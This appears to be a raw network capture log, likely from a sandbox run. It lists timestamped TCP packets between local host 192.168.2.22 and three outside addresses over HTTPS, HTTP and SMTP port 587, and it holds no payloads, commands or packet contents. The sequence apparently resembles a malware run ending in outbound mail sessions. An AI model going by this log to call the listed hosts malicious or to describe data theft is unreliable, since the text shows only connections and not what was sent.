Apr 18, 2024 10:23:55.232927084 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.233190060 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.233248949 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.233316898 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.233372927 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.233414888 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.233469009 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.355880022 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.355957985 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356021881 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356074095 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356158972 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356213093 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356292009 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356343031 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356420040 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356477976 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356534958 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356584072 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356647968 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356703043 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356760025 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356805086 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.356870890 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.356914043 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.357029915 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.357079983 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.357172012 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.357240915 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.357908964 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.357974052 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.358053923 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.358100891 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.358187914 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.358243942 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.358830929 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.358887911 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.358985901 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.359061003 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.361349106 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.361404896 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.361504078 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.361565113 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.361640930 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.361692905 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.361788988 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.361849070 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.361936092 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.362004042 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.362051010 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.362106085 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.482392073 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.482558012 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.482589006 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.482670069 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.482722998 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.482800961 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.482961893 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.483026028 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.483494043 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.483553886 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.484338045 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.484407902 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.484493017 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.484543085 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.485243082 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.485311985 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.485371113 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.485424042 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.485467911 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.485523939 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.486130953 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.486187935 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.486263990 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.486316919 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.486962080 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.487026930 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.487090111 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.487143993 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.487850904 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.487912893 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.488795042 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.488858938 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.488933086 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.488984108 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.489607096 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.489665031 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.489743948 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.489794970 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.490439892 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.490502119 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.490578890 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.490633011 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.491364002 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.491425037 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.491503000 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.491559982 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.491592884 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.491642952 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.606323004 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.606501102 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.606525898 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.606558084 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.606580019 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.606606960 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.606743097 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.606791973 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.606905937 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.606966972 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.607601881 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.607670069 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.609190941 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.609211922 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.609256983 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.609282970 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.609333038 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.609986067 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.610054016 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.610858917 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.610934019 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.611820936 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.611890078 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.611893892 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.611920118 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.611946106 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.611958981 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.612713099 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.612775087 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.614358902 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.614444017 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.614460945 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.614548922 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.614609957 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.616250992 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.616321087 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.616377115 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.616442919 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.617835999 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.617918015 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.617949009 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.617965937 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.617980003 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.618010998 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.618385077 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.618454933 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.618463993 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.618504047 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.620150089 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.620225906 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.620265007 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.620321035 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.621424913 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.621499062 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.621622086 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.621680975 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.621855021 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.621913910 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.622818947 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.622890949 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.622901917 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.622945070 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.624530077 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.624603987 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.625268936 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.625336885 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.625952005 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.626024008 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.626066923 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.626122952 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.627500057 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.627573013 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.627583027 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.627628088 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.627691984 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.627751112 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.733201981 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.733302116 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.733342886 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.733412027 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.734894991 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.734961987 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.735021114 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.735083103 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.736593008 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.736660957 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.736717939 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.736773968 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.738352060 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.738421917 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.738509893 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.738569021 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.740051031 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.740118980 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.740231037 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.740297079 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.742317915 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.742444992 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.742489100 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.742507935 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.742523909 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.742552042 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.744007111 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.744076014 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.744122982 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.744184971 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.745877981 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.745942116 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.746036053 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.746097088 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.746156931 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.746212959 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.746637106 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.746699095 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.747489929 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.747590065 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.748426914 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.748497963 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.748507977 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.748553038 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.749275923 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.749342918 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.750812054 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.750874996 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.750968933 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.751028061 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.751547098 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.751610041 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.753258944 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.753329039 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.753340960 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.753392935 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.754101038 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.754164934 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.755044937 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.755120993 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.755136967 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.755192041 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.755260944 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.756880045 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.756948948 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.757006884 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.757065058 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.758979082 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.759063005 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.759136915 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.759411097 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.759529114 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.760760069 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.760840893 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.760888100 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.760951042 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.762563944 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.762634039 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.762690067 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.762746096 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.764986992 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.765057087 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.765130997 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.765194893 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.765281916 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.766814947 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.766877890 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.766940117 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.766997099 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.768210888 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.768279076 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.768368006 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.768429995 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770032883 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770100117 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770158052 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770220995 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770656109 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770709991 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770720005 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770764112 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770823956 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770859003 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:23:55.770869017 CEST	443	49161	104.21.83.128	192.168.2.22
Apr 18, 2024 10:23:55.770895004 CEST	49161	443	192.168.2.22	104.21.83.128
Apr 18, 2024 10:24:00.928677082 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:01.045861006 CEST	80	49162	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:01.046125889 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:01.048651934 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:01.168235064 CEST	80	49162	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:01.448425055 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:02.585180998 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:02.703303099 CEST	80	49162	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:02.703392029 CEST	49162	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:03.263756037 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:03.417191982 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:03.417473078 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:03.945012093 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:03.946947098 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:04.105107069 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:04.105165005 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:04.151215076 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:04.307580948 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:04.307936907 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:04.500698090 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:06.291618109 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:06.466197968 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:06.619611025 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:06.621016026 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:06.765515089 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:06.936445951 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:07.204857111 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:07.701401949 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:07.855232000 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:07.855319023 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.016525984 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.016670942 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.018294096 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.169943094 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.170074940 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.172278881 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.172463894 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.172544003 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.220700026 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.221299887 CEST	49163	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.374774933 CEST	587	49163	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.379296064 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:08.379663944 CEST	49164	587	192.168.2.22	208.91.198.143
Apr 18, 2024 10:24:08.573092937 CEST	587	49164	208.91.198.143	192.168.2.22
Apr 18, 2024 10:24:09.166265011 CEST	49165	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:09.282296896 CEST	80	49165	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:09.282396078 CEST	49165	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:09.311904907 CEST	49165	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:09.429847002 CEST	80	49165	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:09.656505108 CEST	49165	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:10.035293102 CEST	49165	80	192.168.2.22	208.95.112.1
Apr 18, 2024 10:24:10.151357889 CEST	80	49165	208.95.112.1	192.168.2.22
Apr 18, 2024 10:24:10.151412964 CEST	49165	80	192.168.2.22	208.95.112.1
